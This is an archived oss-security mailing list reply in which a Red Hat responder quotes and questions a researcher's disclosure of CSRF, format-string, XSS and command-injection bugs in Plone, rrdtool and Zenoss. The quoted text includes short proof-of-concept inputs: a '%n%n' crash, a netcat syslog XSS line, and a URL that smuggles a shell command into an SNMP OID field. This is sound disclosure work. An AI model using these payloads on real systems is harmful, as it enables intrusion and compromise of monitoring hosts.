[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <517052A9.60606@redhat.com>
Date: Thu, 18 Apr 2013 14:08:09 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Thomas Pollet <thomas.pollet@...il.com>
Subject: Re: plone, rrdtool, zenoss bugs
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On 04/18/2013 06:05 AM, Thomas Pollet wrote:
> Hi,
>
> I reported a csrf bug in plone pluggable authentication service,
> fixed in 4.2.5 http://plone.org/products/plone/releases/4.2.5 "
> CSRF protection for the ZODBUserManager, ZODBGroupManager,
> ZODBRoleManger, and DynamicGroupsPlugin plugins."
Was this previously exploitable, or is this just a hardening measure?
> Also, the rrdtool python module crashes on format string exploit $
> python -c "import rrdtool
> rrdtool.graph('/tmp/out.png','-f','%n%n')" Segmentation fault
Have you notified upstream?
> this module is used by zenoss to create graphs (zenoss users are
> able to pass arguments to rrdtool).
>
> On zenoss, I reported some bugs to them (and to this list) which
> have been fixed in the latest release (4.2.3). for example, zenoss
> displayed syslog and snmp input without filtering html characters
> which results in xss.
This was done via rrdtool backend, or something else as well?
> example syslog exploit : echo '<130>' Aug 29 07:17:34 test '<xss>'
> | nc -u zenoss 514
>
> another bug was that the test_datasource feature doesn't escape the
> snmp oid which is passed by zenoss to the shell as an argument for
> the snmpwalk command example: https://
> [ZENOSS_HOST]/zport/dmd/Devices/rrdTemplates/Device/datasources/sysUpTime/test_datasource?data={%22newId%22:%22DetectedVirus%22,%22oid%22:%22$%28ls%20%3E%20/tmp/pwn%29%22,%22enabled%22:%22on%22,%22testDevice%22:%22127.0.0.1%22,%22uid%22:%22%22}
>
> http://jira.zenoss.com/jira/browse/ZEN-3183
>
>
> Cheers, T
>
- --
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.13 (GNU/Linux)
iQIcBAEBAgAGBQJRcFKpAAoJEBYNRVNeJnmTWO0P/26BYjgPDb1jRjNL84MLiD55
fe2iGW0DjTjT8EjegE1jtjBazUdtn45Eis3ZFmgZEnTwXUBoaED43fCRKpbyu/vW
nZBGSNkJldWR3uxEU3N14J7Ab+5K7DkpahIAta0mhEorTdtzvvjJT1+vVdibiSkd
F/SfE2BjsgXxmlbPMjcF1WN+sF5eengDTOlCnrD7AsAXYtnexvMOMJBK+iMtdQW8
ChrIMhef5P5d1mYRAz7vHcFwttB14aWUSQn5Fyi40FMZMAeA9XQQ9MskP7te89mu
n9YaQvqxjnO+macpPbZZnX1xdWJU2TMiP4cDcNLgKVp1QcxoK517aJMrs2tMK2tn
QZ7SMHDx90gBsXKytXHOIEHJHUCEQD+qxIyFEVeQeKWLx9eQNhbglMBFnw+SGgyY
c51DRamjSlqtPHzOTntsSw7mlcdDbAEImFj+NdCxZiXMQZv3NY0+YflJe0M8/cbz
pFiwkjla/IwddfkXgZx/YnsSkTSGOBvYs15pJTz7nXgpfLPxHQlSDX3bjTehQY+u
kEXaycf0/QbLBDa/jxJp/SDt3RxkI2sgtcChHACrIXt2MDbpq3k1XZRwxyQT/L1A
/PhtTAcpFbIgf5GSNdmz5i5kOIhwqtlvALA252MKV9Jd+NWOJcfOTjgHregZcSV5
XF7qZdYV9xPLMLHZTKLU
=7hTc
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
